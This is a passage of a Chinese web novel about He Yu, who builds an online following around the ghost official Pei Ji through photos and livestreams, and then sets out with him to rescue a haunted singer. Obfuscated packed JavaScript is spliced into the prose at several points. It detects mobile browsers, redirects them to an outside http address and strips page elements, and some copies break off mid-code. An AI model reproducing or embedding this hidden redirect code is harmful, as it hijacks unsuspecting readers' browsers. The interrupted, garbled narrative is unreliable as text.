鬼差吐槽归吐槽还是公事公办,他挥挥手从金元宝里出现一团朦胧的烟雾,最后凝聚成一个清晰的面容。 鬼差吓得一屁股坐在地上,还是死得够久,还能看到有人给北阴大帝烧纸。 裴寂斜躺在黑色的软榻上,墨色的头发垂落,边上的香炉冒着红色的烟,胸口微敞,黑色的袍子衬托的肤色更为惨白,那两只极为惨白的脚腕叠起搭在一边。 此刻蹙着眉,指尖捏着今天的催债公务,十分头疼。 他没管的这么多年,这些鬼又是怎么过的。 来的鬼差战战兢兢,垂着头不敢看一眼,手里的托盘给那个小金元宝显得十分寒碜。 他咽了下口水:“有...有您的东西。” 长长的睫毛扇动,裴寂侧过身,这倒是奇了,还能有他的东西。 他招招手,鬼差盘子里的那块金元宝就飞到了裴寂的面前。 裴寂神色微顿,苍白的指尖捏住一个在耳边晃了晃。 “裴寂裴寂,厂危速归。” 裴寂陷入沉思,问下面比他年轻几百年的鬼差:“厂危速归是什么意思?” 鬼差虽比裴寂死的晚,但也不是这几百年死的,他推测着字面的意思,生怕自己不答让北阴大帝误会不敬:“小的...小的猜应该是让您快点回去的意思吧。” 裴寂也是这么理解的,厂不知道是什么,后面倒是好理解。 他挥袖收起元宝,下一秒散成一阵黑烟消失在大殿里。 鬼差松口气,抬手擦擦自己额头不存在的冷汗。 贺鱼刚进门时就传来敲门声,他疑惑得从猫眼看过去,想不到是谁来找他。 看到裴寂穿着他尚来不及反应,面前一黑,在门口的人已经站在他的旁边,身上的冷气比开空调都好使。 “找我吗?” 贺鱼僵硬点点头,烧纸真好使啊,就是有些延迟,这都过去快两个小时了。 看来阴间有些信号不好。 不过裴寂这身...贺鱼上下打量了他两眼,调侃道:“我让你出卖色相可没说让你出卖□□啊哈哈哈哈哈...” 这鬼难不成回去偷摸补课了,还知道这么穿流量大。 裴寂问:“不是你说危速归吗?” 贺鱼的笑声戛然而止,他忘了古人不懂这个梗,在他理解就是很危急快来,加上裴寂的声音与往常没有不同,可他不知是不是心里作用,听出了丝丝委屈。 心里涌上一丝丝愧疚感:“哈哈没吃饭呢吧,先吃个饭再说。” 裴寂奇怪得睨了他一眼,飘着来到了贺鱼的沙发坐下。 贺鱼张了张嘴想说点什么,按照正常流程有人来他家都是他嘱咐一下WiFi密码或者电视怎么开,充电器在哪。 但这次来的不一样,是一只鬼。 还好他有整理物品的习惯,在有客突然到访的时候没有太乱。 虽说客厅改成了卧室,但该有的东西都有,买的也都是做过功课舒服实用的家具。 见裴寂在沙发上端坐的板板正正,没有什么生气的意思,贺鱼松了口气去厨房给刚洗好的菜下锅。 裴寂四处打量着,他的视线停留在正对着床的一个玻璃柜子里,上面一层已经被摆满,全是黄金做的各种饰品,耳钉,镯子之类,看起来都是女人用的,饰品不装起来,摆着这种透明柜里有些奇怪。 沙发侧面是贺鱼的床,天蓝色的床单被罩,叠的干干净净,十分板正,屋子里铺着柔软的地毯,他光着脚来的踩上去很舒服。 贺鱼还是一个挺会享受的人。 厨房的门关着也能传来炒菜的声音,贺鱼没关门,裴寂五官灵敏可以闻到飘过来的香气。 大约有十几分钟的时间贺鱼身上系着小熊围裙手上拿着碗筷从厨房探头:“吃饭。”在裴寂来之前贺鱼就焖饭了,菜都切好,没用上多长时间。 裴寂应了一声,有些怔然,这体验还是怪新奇的。 贺鱼的饭锅不大,只够两个人吃的,往日里正好做了一顿够两顿。 他简单炒了两个菜,长时间的自己生活让他的厨艺非常好,色泽味俱全。 贺鱼喜欢一些可爱的东西,他妈说他小时候长得跟个小姑娘似的,就下意识给他当女孩养。 给小熊套装的碗筷摆在裴寂面前,解下围裙挂在一边:“家常菜,别嫌弃。”总感觉裴寂生前可能是王侯之家。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15392150|168583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裴寂早已忘了人间饭菜是什么味道,小口咀嚼。 裴寂吃饭不说话,贺鱼就自己刷手机,吃完饭贺鱼简单收拾一下从柜子里翻出大学时候买的二手相机。 裴寂的脸三百六十度没有死角,只要背景对了随便拍都很出片。 他就在自己另一个房间随便扯了一块绿布,只要一只鬼,场景全靠p。 裴寂穿什么他就拍什么,还特意叮嘱裴寂给衣服穿得严实些,他想靠裴寂的美貌但也不想靠他的身体啊,人家一个古人,这样总归不太好。 送走裴寂后贺鱼对着照片精修一个多小时,精致到头发丝都画了些。 这还多亏他大学时候自学了这门手艺,帮人家拍个照接个单,也赚了一笔小钱。 看着电脑里的高清照片,贺鱼感叹了一声真是技多不压身啊,人还是要多会几门技术,谁能想到有一天是这样用到了呢。 给照片发到之前就注册好的账号上贺鱼洗洗就睡了。 第二天上了地铁才打开手机看看昨日的成果。 没想到一晚上已经有几万点赞,多了几百个粉丝。 贺鱼一口吸掉手里的牛奶,今天的好心情是这个数据给的。 他跟城隍庙里的小道士用零食换了一袋金元宝,用来和裴寂联系。 裴寂的涨粉速度很快,才一个星期就将近两万的粉丝,贺鱼看着消息处的99+,心里有些酸,长得牛就是了不起。 贺鱼本以为这样慢慢涨粉很快就能带货发家致富了,没想到随着粉丝变多,流量更大,下方也不都是夸赞的话,出现了很多负面言论,例如高p,整了,滤镜美颜开的太大。 混网这么多年的经验就是不要跟人吵,贺鱼只扫了一眼,并没有当回事。 可没成想这件事发酵起来了,还上了热搜,说他这个高p,一整张照片没有一个是自己的,不少人扣出了贺鱼p图的痕迹。 还有个粉丝挺多的颜值博主在直播的时候说起来这事。 “哦我知道,那个叫“‘鬼来了也得当牛马’的,那p的也太假了,对啊那脸不是p的就是整的,能看出来,你们看就这鼻子,这下颚线,这p的太夸张了,哪有真长这样的,而且这背景不都是假的,哈哈哈哈哈这人可真逗,也不看看自己p的是不是太假了...” 视频里的主播还拿着手机里裴寂那张照片给直播间里的人展示。 似有人发了质疑的,但视频里的主播笑得上气不接下气道:“哈哈哈哈真有人长这样我倒立拉稀!” 消息里都是艾特他看这种锤他们假照高p的视频,贺鱼随便翻两个发现几十万点赞,网上都成热梗了——鬼来了也得高p。 贺鱼看着越来越高的热度笑了,很好,有争议才有热度,还有这主播白白送的流量。 他看完网上的评论关掉手机掏出一个元宝点燃:“裴寂,我们明晚开直播。” 5. 第 5 章 裴寂并不知道直播是什么东西,不过平时都是贺鱼安排的,他也有些习惯了贺鱼的调度,也不用他操心,贺鱼让他做什么就做什么就可以。 这种不用脑子的日子他还挺好的。 裴寂放下手里的卷宗,揉了揉眉心,怎么每天就有这么多做不完的工作,他不在的时候地府不是也挺好的。 黑色的案几上有一个装饰的树,黑色的树杈上面挂着小金元宝。 白皙的手掠过,其中一个树杈上面又多了一个。 贺鱼给需要的东西在纸上写下来,买一个好一点的摄像头和麦克风,这些一会去楼下那个二手电子产品店随便挑点就行,要不是他那个笔记本的摄像头实在太模糊了,他才不会出这笔钱。 晚上贺鱼买完两样东西,在备忘录上面又添了两样。 麦克风246 摄像头360 在这两条上面还密密麻麻记着很多。 换金元宝的零食5.4 吃了三分之二的菜,合计12.3 喝了一瓶饮料5 ...... 贺鱼回家给另一个房间简单收拾一下,打开摄像头找了下角度,布置出一个摄像头可以照到的区域,等着到点开播就行。 现在的粉丝比前几天多了一倍,主要是高p这事被玩梗不少人点了关注,在他的每条视频下面发一些侮辱性评论。 贺鱼看过了就看过了,他从来不在乎这个,别说不是真的,就算是真的,那他也会觉得多了波流量这可挺好。 别管是不是黑红,先红再说。 更何况被骂的又不是他。 至于裴寂,他连手机都没有。 若在互联网这块最容易收到心灵创伤这方面来说,一人一鬼的配合可以说是无敌的。 贺鱼早在前一天就发了会开直播证明的视频,这条的流量又被顶到头条。 他定的时间是晚上八点。 现在还有一个小时,贺鱼想了想又从衣柜里翻出自己之前买大的衣服,裴寂穿的衣服都是他自己的古装,直播流量这么大,万一真被什么专家刷到,这穿着古董在身上,不好解释啊。 七点半的时候贺鱼准备的差不多,打开电脑直播间预热。 很快就涌入了几千人,进来就在公屏刷了起来。 “怎么背景也是p的吗?” “一会不会上来个卡通人吧。” “我今天公司聚会都推了就等着来看直播呢。” ...... 贺鱼啃了块苹果拿着手机看弹幕,这黑粉比真粉丝都关注。 直播间的人一直飙升,十分钟就数万人了,等到真的八点已经几十万人。 不知道的还以为这是什么大主播,热度在平台第一。 其中一部分人是热度太高了点进来看看到底是什么直播。 弹幕上有人问就有人解答,就有人给科普。 一时间直播间乱作一团。 在准时八点的时候,屏幕晃过人影,一个带着小熊图案的T恤,随后是一截白皙的脖颈,苍白程度让很多人在下面刷起“关点美颜,白得晃到我的眼睛了”。 突兀的一张帅脸贴来,轻微的晃动后屏幕稳定下来。 露出半个侧脸,完美的下颚线,高挺的鼻梁,弹幕消失了几秒。 直播间里的众人听到有些低沉的男声询问:“这样就可以了吗?哦,好。” 随后这张脸出现在众人眼前。 裴寂对着架着的摄像头打了声招呼,贺鱼跟他说回答一下大家提出的问题就行,但是贺鱼跟他说的地方没有文字出现。 “是网卡了吗?”裴寂再次转过头,留给直播间众人一个刀削般的下巴。 贺鱼刷新了下自己的页面,没什么问题,对裴寂摇摇头。 裴寂在重新转回头,这次涌出来一堆文字,他刚认识现代的简体字,读的很慢,但这个叫弹幕的东西实在刷得太快,他有的还没看懂,就已经刷上去了。 “慢点刷,我看不清了。” 弹幕: 我靠我靠有没有大佬鉴别一下这是真人假人,是不是p了,有没有开美颜! 上面的你是不是黑疯了,你没看到直播间挂着“无美颜直播间”吗? 这看着不像是假的啊友友们。 还用你说,要是现在科技能早出这种假人早就上报了。 哈哈哈哈我说兄弟们,这回有人要倒立拉稀了哈哈哈哈哈。 有没有大佬分析一下这个声音是不是开了变声器,怎么这么好听。 我才不信呢,这指定是整了,你们看他的鼻子多假。 ...... 直播间里虽然有相信的人,但架不住之前留给人的印象实在是太深刻了,还有不少当时锤裴寂那个主播的粉丝,节奏一下就被带起了,弹幕不停得刷屏,全都是说裴寂整容的。 裴寂这回终于看清弹幕了,都是一句话,说他满脸都是科技,没有一块是真的。 裴寂在零零散散的拼凑中,明白这个话的意思是质疑他的脸的。 他答道:“一直就长这样。” 见裴寂回应,弹幕刷的更厉害:“能花这么多钱整容还穿这样装什么朴素。” “整不整你自己心里没数吗?” 裴寂皱着眉:“整容是什么意思,易容吗,没有,也没有装朴素。” 但裴寂的解释无法说服这些恶言恶语的网友们,贺鱼当房管踢人都踢累了。 他踩着一只拖鞋,小心翼翼避开裴寂的摄像头,不让自己的脸入镜,一跳一跳蹦到了裴寂的身后。 把手里刚才吃一半的薯片放在桌上,手在衣服上擦了两下。 “别吵了你们,让你们看看什么是纯天然的美貌给你们开开眼。” 随后小声对裴寂说声:“裴人事忍一忍哈,都是为了钱。” 然后两只手捏住裴寂的脸开始揉,下巴、鼻子、额头,就连睫毛都扯了扯。 “看到没,原装的。”他捏着裴寂的脸怼到摄像头上,一寸寸展示给观众看。 “没有任何伤疤,没有二次动过一下,长得就是这么牛逼。” 贺鱼弄完就一跳一跳离开了。 他即使这么做了也不会让所有热都相信,大多数理智的人相信就好了,有争吵才有热度。 回到另一边的沙发椅上贺鱼伸手一掏才发现零食放在裴寂的桌子上了,他不想再入镜一次又开了一袋。 裴寂有些怔愣,贺鱼咳了一声他才想起来自己要做什么。 脸上还存在活人专属的热度,裴寂觉得有些烫。 烧得他耳根有些热热的。 这次弹幕变得友善了不少。 “真的帅啊,这脸上是真的,随便一截都是壁纸啊,请允许我舔屏。” “我还是更关心某位主播如何倒立拉稀。” “其实我更想问刚才出现的男孩子和主播是什么关系啊(嘿嘿嘿)。” ... 裴寂看不过来,只能挑些短的句子回复:“年龄,我九千六百七十二岁了。” 贺鱼差点从椅子上跌下来,好在弹幕一片哈哈哈,没有人当真。 “大学,没在上,没上过。” 贺鱼已经不敢看弹幕了,偏又是他叫裴寂“如实回答就行”。 “我和刚才那个的关系...” 这个问题有些难住裴寂了,他们俩的关系是什么,裴寂皱着眉思考。 在此事发生之前,他们的关系可以算是“上下级”,但现在他们算是什么,朋友,他们称不上是朋友,合伙人?可一直是贺鱼在筹划,他只是跟着贺鱼走。 在裴寂思考的片刻,弹幕刷的飞快。 “什么关系要想这么久(嘿嘿嘿)。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15392151|168583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如果是普通朋友或者亲戚同学早就说出口了,能想半天的肯定不是什么正经关系。” “快说啊你快说啊!我们都是现代人,大胆说!” 裴寂想不出来如何用现代的语言来描述他们的关系越过了这条没说什么,等这次直播过后他要问一下贺鱼,下次再来回答这些人。 贺鱼吃零食吃得有些口渴,去冰箱拿了两个饮料出来,没注意到直播间。 这段时间跟裴寂相处他知道裴寂能吃阳间的东西,他脸上看不出什么,接触多了贺鱼能感受他到他的一些情绪,他很乐意吃这些。 想来也是,在地下的鬼哪有不对阳间食物感兴趣的,尤其是死了这么久的老鬼,这些东西见都没见过。 反正裴寂赚了钱这些都要算利息还给他。 “你要哪个。” 贺鱼买饮料每次都是买几个没喝过的尝尝,就算买第二次第三次也基本是一样买一个,所以他的冰箱里找不出两个一样的饮料。 裴寂指了指贺鱼右手的。 贺鱼贴心插上吸管放到裴寂桌子上,这是裴寂头次喝这种盒装的,贺鱼猜他多半不知道怎么打开,好人做到底。 看见弹幕都在刷“一定是真的”贺鱼微微定心,看来大家也觉得裴寂的脸是真的。 想到这贺鱼赶紧在直播间发了条属于房管的华丽弹幕:“各位宝宝们,点关注不迷路,大家记得点点关注啊,爱你们(比心)。” 霎时间关注的消息卡的贺鱼两年前新买的手机直接黑屏了。 裴寂熟悉流程后贺鱼就挂着直播间一边用平板看剧一边帮他管理一下直播间。 晚上开播一个小时左右,贺鱼数了数后台的进账,打赏的礼物能有三千块钱。 看到回头钱了,贺鱼喜滋滋的。 看来开播也是个赚钱的路子。 他给钱提出来,扣掉自己的部分,没有扣裴寂那部分用品,总要给他留点。 涨了五六万粉丝,贺鱼真是谢谢那位主播给的热度,赶明等他开播倒立拉稀他也去刷点。 他还准备了一份律师函,下播后私信发给了那位博主,若不公开给他们道歉,那就打官司吧。 贺鱼趁着热度将私信那博主的截图和律师函发到账号里,他趁着还不算太晚去小区里的atm机给裴寂取出现金:“今晚上赚的,你想买点啥买点啥吧。” 贺鱼定的是五五分成,在裴寂手里的有一千五。 小小的一沓钱裴寂觉得有些恍惚,这么容易就赚到了,他在工地干一晚上也才两百。 加上之前结的钱,这个月贺鱼的工资终于是攒够了。 裴寂手一晃小小的一沓钱厚重许多,他递给贺鱼:“这个月的工资。” 贺鱼:...... 他接过又重新存回卡里。 一个小时的直播被人录屏疯狂转载,裴寂一个人霸占了好几条热门,几乎每个视频下面点赞最高的评论都是艾特那位主播问他什么时候倒立拉屎,加上贺鱼的律师函这位主播不得不迫于舆论压力再次录了一段道歉声明。 不知是这位博主平日里嘴下不留人,得罪的人太多,被挂在热搜好几天没下来。 每天手机上不断上涨的粉丝数量都让贺鱼上班脸上都带着笑。 吃到了直播的甜头贺鱼准备时不时让裴寂播一播,也没啥才艺,干和粉丝聊天。 贺鱼想了想打开了连麦申请,正当他筛选连哪个的时候,直播间跳出一个提示:周新宇申请和您连麦。 虽然不知道这个人是谁,但看直播间的弹幕贺鱼知道这是一个热度很高的人。 点开主页一看,果不其然,这是一个很有名的歌手,认证的黄V,一千多万的粉丝。 贺鱼点头示意裴寂同意。 视频接通,看到互相的瞬间,一人两鬼皆是一怔。 贺鱼“卧槽”一声惊得手机掉在地毯上。 6. 第 6 章 周新宇是讶于对方的长相,而贺鱼在手机屏幕里看到对面的人阴气缠身,印堂黑得能滴出墨来。 这哪是人啊,这是鬼还活着。 意识到自己又能看到这些东西,贺鱼心下微沉,长时间在地府工作阴气太重,他被封闭的五感渐渐恢复。 贺鱼撇了眼裴寂,见他也是眼神怪异看着屏幕。 周新宇在圈子里也是见过不少帅哥美女,即使看到裴寂的容貌有一瞬间的惊讶也很快回过神来:“你好。” 可惜他的话没有得到回应,反倒是对面的小主播一直神色凝重得看着他,那双眼睛浓重黑得不见底,对视上周新宇心里隐隐发毛。 见到弹幕都在骂对面的小主播,周新宇眨眨眼努力往正向引导:“哈哈是不是第一次跟大明星说话太紧张了。” 贺鱼清咳了一声,裴寂才回了周新宇一个招呼,他也是头一次这样连线直播,念着下面粉丝希望他去问周新宇的问题,气氛除了一开始的僵硬后面倒也融洽,像是开了个发布会,周新宇也是有问必答。 挂断直播后贺鱼没有心思再看赚了多少,满脑子都是那人身上浓重的阴气,若是不管,厉鬼索命,没两天就能在下面看见了。 贺鱼烦躁得抓了抓头发,看不见不知道便罢了,看到了知道了就没法放着不管。 他视线穿过屋内望向客厅玻璃柜里的金饰,他不出手可以让别人来,望向一边吃着薯片没有什么异样的裴寂:“你有没有发现那人身上有些不对?” 裴寂停下咀嚼的动作:“嗯,被厉鬼缠上了。” 贺鱼问:“你不去捉鬼?” 裴寂愣了一下:“我为什么捉鬼,这不是道士做的事吗?” 这下轮到贺鱼愣住,鬼差负责引渡亡魂,还真没有说要管阳间不去轮回或者有执念的恶鬼,而且对面这个鬼差好像是文官也不是武将。 他自己不知道打不打得过那个恶鬼,这鬼差虽是文官,实力也不容小觑,必须得拉上他。 贺鱼沉默片刻突然说:“那是个歌手,非常有钱。” 裴寂动作一顿:“人命关天,何时去。”去晚了鬼还得抓,人要是没了钱也没了。 贺鱼:...... 眼看着裴寂抽出湿巾擦擦手就要出门,贺鱼赶紧叫住他:“你知道他在哪?” 裴寂顿住脚步,没想到这个问题:“不知。” 贺鱼扶额:“那你要去干什么?” 裴寂重新坐回来:“我怕去晚了人没了白干活。” 贺鱼有些无语,怎么这个鬼比他还想要钱。 周新宇是很有名的歌手,这种公众人物的保密工作做得都很好,很难接触到,直接找到地址可以说是几乎不可能的。 不过要是见一面还是有办法的。 贺鱼贺鱼灵机一动,抱过笔记本开始疯狂恶补周新宇的资料,一个小时后成功通过考核进了一个周新宇的粉丝群,得知了周新宇的行程。 “他三天后会去池东市参加活动,我看群里在商量接机的事。”池东市在隔壁省,坐高铁过去也得半天。 不过裴寂没有身份证,不好乘坐交通工具,贺鱼询问:“咱们可以直接过去吗?”他想到裴寂那个奇怪的车。 裴寂没想到这人真给他当成还管阳间人死活的好心鬼差了,但偏好奇想看看他怎么做,点点头:“只要知道在什么位置就行。” 周新宇是下午三点落地,贺鱼估量了一下时间和裴寂约好了上午十点出发。 贺鱼手机耳机充满电等着裴寂来接他,帆布包里面塞了不少小零食。裴寂早来半个小时,听到敲门声贺鱼就赶紧背上包开门。 见到裴寂贺鱼略微惊诧了半晌。 他穿着运动裤白t,头发扎个马尾,看着就像个青春靓丽的男大学生,和死了很久的陈年老鬼联系不到一起。 直播赚了不少钱,裴寂身上的衣服是贺鱼在网上买的,不算贵但也没太便宜,属于是那种不是什么大牌子但是质量很好的。 他要用裴寂赚钱,总得投资一下,也不能总挑他买大的衣服穿。 贺鱼表示准备好可以出门,眼前一道白光,就坐在略有些熟悉的车上。 比上次要更加舒适,中间还摆了个小桌子,另一边是个软榻,铺着柔软毛毛。 这个点太阳已经升上正空,贺鱼白天做这个敞篷车还以为会很晒准备了墨镜,但奇怪的是这个车不仅没有凛冽的风和灼人的阳光,就连温度都十分舒适。 却触手可及周边的云,贺鱼头次有这般新奇的体验。 裴寂坐得板正:“你若累了,可以躺着休息。” 贺鱼摇摇头,从包里的零食倒出来一些:“我带了零食,你想吃哪个自己拿啊。” 说着又给手机支架摆在桌子上,点开下载好的电视剧。 手机上的地图提醒着位置,贺鱼搭眼看了一下,震惊于地府公车的速度,坐高铁要小半天的路程,此刻显示还剩二十分钟。 贺鱼觉得自己昨晚准备的充电宝是用不上了。 车上的一人一鬼十分安静,一个喝着饮料看剧,一个端端正正坐着。 过了片刻,一只鬼似耐不住诱惑,将手伸到桌面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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很快手上一沉就又多了一个,还是熟悉的话:“这个没有上个饼好吃,你尝一口别吃了一会该吃不了别的了。” 裴寂咬了一口,确实不怎么样。 还未等他吃完,手上又被塞来一个小盒子:“签子没用过的,我多放了醋。” 太阳逐渐升空,贺鱼带的墨镜有了用处,还好不是节假日,没有人挤人。 一人一鬼一路走一路吃,好吃的地方排队的人多,贺鱼叫裴寂排别的长队,但裴寂不知道怎么付款,也不知道要什么口味的,就傻傻得站在那里。 身后人的窃窃私语和老板的催促声越发大。 7. 第 7 章 裴寂有些窘迫得扭过头喊了一声:“贺鱼,问要什么口味的。” 贺鱼一边摁指纹付款,一边扭过头看一眼裴寂那里的牌子。 “巧克力的,分两个盒子。” 裴寂小声应了个“好”,随后又对老板复述一遍。 老板奇怪得看着他:“我能听见。” 裴寂感觉脸颊有些热,可老板随后又说:“23,码在这自己付。” 他哪里会扫码,于是又顶着后面窸窸窣窣的笑声又向那边的贺鱼喊:“贺...贺鱼,来付钱。” 贺鱼接过袋子赶紧跑过来,心想回头给裴寂配个手机吧。 裴寂身后有几个小姑娘,她们凑在一起嘀嘀咕咕,在贺鱼过来付钱时显得更加兴奋,互相眼神传得飞快。 贺鱼过来扫完钱问:“我不是给你纸币了吗?” 裴寂解释:“老板说扫码。” 贺鱼一阵无语,连老板都被逗笑了,给多加了点东西。 “这个好吃。” 贺鱼头一次听到裴寂的评价,有点意外,被这个闷罐子说好吃的,那可能是真好吃。 他给手里的放下,接过裴寂的,眼睛一亮:“还真挺好吃。” 吃完这条街又去周围的景点逛逛,贺鱼给裴寂拍了两张照片,留着回去更新。 等到时间差不多才回到机场,两边的粉丝很有秩序,贺鱼和裴寂也没办法在这么多人的时候跟周新宇说上话。 等了片刻人群中一阵骚动,周新宇被护着从人群中穿过,他时不时停下签个名摆个姿势。 裴寂在他身上留下一道阴气:“那个鬼并不在他附近。” 这是贺鱼预料之中的,青天白日人多的地方阳气足,厉鬼不会跟着出现在这种地方。 一人一鬼在后面跟着,等周新宇进了个十分豪华的酒店在外面止步。 明星住的酒店保密性一定很好,他们肯定进不去。 酒店拦得住人可拦不住鬼,正当贺鱼准备让裴寂进去的时候看到周新宇换了身衣服穿戴严实,鬼鬼祟祟从酒店出来了。 这倒是方便了他们。 还以为周新宇有什么不可告人的事,后面跟了许久,就是去了个小摊子吃麻辣串。 街上的小摊更方便接触,贺鱼特意坐在周新宇的旁边。 见他一口一口吃得香,头部抬眼不睁,没有眼神对视接不上话,贺鱼决定主动出击。 这个不午不晚的时候摊子上就他们三个。 “你是...” “嘘,不要声张,一会我给你个签名,合照也行,谢谢你。” 周新宇对贺鱼眨眼来了个wink。 贺鱼沉默地看着他嘴上油腻腻的辣椒油,剩下的半截话说不出口。 见周新宇没有抬头接着说话的意思,贺鱼脑子中转过一圈算命的说辞:“额,我看你额头发黑,有黑气缠身,最近是不是很倒霉?” 这话说出口贺鱼往裴寂这边挪了挪,生怕被打,骗子经典开场白。 周新宇“噗嗤”一笑:“大师,你看我是不是还骨骼惊奇,是个练武奇才。” 他说完拿起手机在上面捅咕两下调出一个界面:“看见没,我下载了国家反诈app,你骗不到我。” 贺鱼心中直翻白眼,但还得想办法救这个有钱的二愣子,他心里一打弯就闭着眼睛瞎白话:“小伙子你别不信,别看我年纪小,但其实是我保养得好,我今日看与你有缘...” 他说着上下打量了一下周新宇,手指假装掐算两下:“我算出你马上就要有灾祸。” 说完背过去的手对着身后的裴寂打个手势。 话音刚落,“哐当——”一声响,周新宇屁股下面的凳子散架,他狼狈得坐在地上。沾着调料的银耳在他领口滚了一圈。 周新宇满脸震惊:这人不会真有两下子? 贺鱼瞧他那样知道信了一分, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他偷偷斜过眼看一眼裴寂,见他还是没什么表情,就像是随口问一下,咽下口里的食物,贺鱼说:“小时候身体不好,我妈找了道馆的老道士给我求了很多。” 这话也没错,他妈说他很小的时候就总是哭闹,检查一圈什么事都没有,邻居的老太太说是不是小孩子能看到不干净的东西,介绍了个道观,老道士给了一张符真就不哭了。 只不过和事实有点差距,给周新宇的符不是老道士的,是他自己画的。 随着他长大,老道士给的符箓能维持的时间越来越短,直到有一天符箓算是彻底不管用了,老道士只好教他一些道法防身,学了两天老道士说他天生就该学这个,一点就通。 他妈听了红光满面唾沫横飞的老道士夸他,生怕他被老道士忽悠的出家了,可他妈还得让他接着跟着老道士学,这天天学还总是一身伤回来,要是不学他妈怕他哪天被鬼吃了,整日提心吊胆。 后面要不是出了那些事,他说不定还真会继承道观。 “很多是多少?” 裴寂低沉的声音唤回贺鱼的神智,他摇摇头甩掉那些旧事,银耳在调料里滚了一圈道:“几十斤吧。” 裴寂:? “你妈是去批发黄表纸了?” 贺鱼敲了敲碗满口胡诌:“爱子之切懂不懂。”为避免以后裴寂再质疑他随手掏出来的黄符,他说多点,他怎么也算半个道士,去阴间当鬼差总觉得怪怪的,再说老祖宗讲,凡事留一手。 他抬手去拿串,露出手上的红色珠子,他心里轻哼:要不是这样能捞到这种好东西吗。 “小签五毛,大签一块,铁签两块,一共是六十七。” 贺鱼扫了一百。 大娘还未来得及叫住人就走远了。 她绕过来收拾桌上的东西,心想今天是什么好日子,怎么一个个都多给钱。 “诶。这椅子刚才不是碎了吗?”大娘看着完整的木头椅子揉了揉眼睛,小木头凳子静静得摆在刚才的位置上,她拿起来转了转,没有一点要散架的样子,但刚才是她亲眼看到的啊。 吃完一人一鬼又去附近景点逛了逛,存够了之后一个星期发的照片,又顺手买了点好吃的跟裴寂才回去。 路上贺鱼突然想起来问:“这一天我可算是出外勤,不能扣我工资。” 裴寂沉默片刻塞嘴里一个贺鱼他俩一人一半的不知道什么串,看着桌上摆了一堆回来买的东西,裴寂也是心满意足,不跟他计较,一边往嘴里送一边“嗯”了声。 贺鱼习惯裴寂不多话的性子,听到这声“嗯”就放心了。 到家洗个澡贺鱼窝到自己高价的沙发里修了修今天给裴寂拍的照。 每天都有很多粉丝关注,流量也不错。 贺鱼数着这几天账上多出来的钱,在网上买了个小金豆子。 发出裴寂的照片他手机摆到一边放上音乐,靠在摆着金子的玻璃柜旁,打开玻璃门用软布轻柔擦着。 本以为周新宇能挺几天才来找他们,没想到次日晚上就收到了周新宇的电话。 他一接通就声音话筒里传来哽咽的男声:“大师救命!” 贺鱼眯着眼睛给手机递远些,扫了眼两边的路人,尴尬得笑了笑。 他刚吃完饭无聊在小区旁边的人工湖散步:“你别急慢慢说。” 周新宇并没有镇定下来,他声音十分慌张:“大师,我现在感觉好像有什么东西跟着我,你快来我的地址是...” 贺鱼根本没听到后面的话,手机里传来了滋滋啦啦的声音。 “喂?喂?周新宇?”贺鱼放下手机,指尖掐诀追踪他给出的那道符位置,另一只手烧掉一个金元宝把位置传给裴寂。 他随手拦了一辆出租车,报出位置。 在和周新宇分开后他就关注着这道符的移动轨迹,好在和他一个城市,就没太着急,那道符能挡一会,只要撑到裴寂过去就好。 那道符还有效,那周新宇人就没事。 贺鱼暂时松口气,他一转眼看到司机一边斗地主一边开车,气得头发都快竖起来:“叔快点,我赶着捉奸,我老婆跟人开房呢!” 那司机一听手机屏幕上的四个2带俩王都直接划掉,一脚油门踩到最底下:“小伙子你就放心吧,叔年轻时候人称出租赛车王。” 贺鱼嘴上应和:“叔加油啊,能不能抓到就靠你了。”右手又摸出一个金元宝,看来给裴寂买个手机的事要提上日程了。 能不能买上最贵的,就看今天这票了。 二十分钟后贺鱼到地方,一下车扶着旁边的电线杆子就开始吐。 不得不说这大叔有点东西的,直到很多近道,还能躲开摄像头,一路畅通无阻。 他和裴寂差不多是同时到的,这是一处高档会所,贺鱼擦擦嘴,这种地方一般都不对外人开放。 “我们直接进不去。”贺鱼说。 裴寂拉着贺鱼一个闪身就到了里面其中一个楼层,好在附近没有人注意他们。 走廊里灯光闪烁,五色的光晃得贺鱼眼睛疼,他用手遮了遮额头。 裴寂走在前面:“在上面。” 这楼的构造复杂,七拐八拐的裴寂十分烦躁,再耽误一会钱没了怎么办。 贺鱼不像裴寂知道张嘴是要问的,拉住一个路过的服务生问路。 服务生奇怪得看着二人,他们穿的太过朴素,不过能进来就是通过了安保那关,说不定是有钱人点的小男模。 服务生脸上带着礼貌的微笑为二人指路,心里十分不屑。 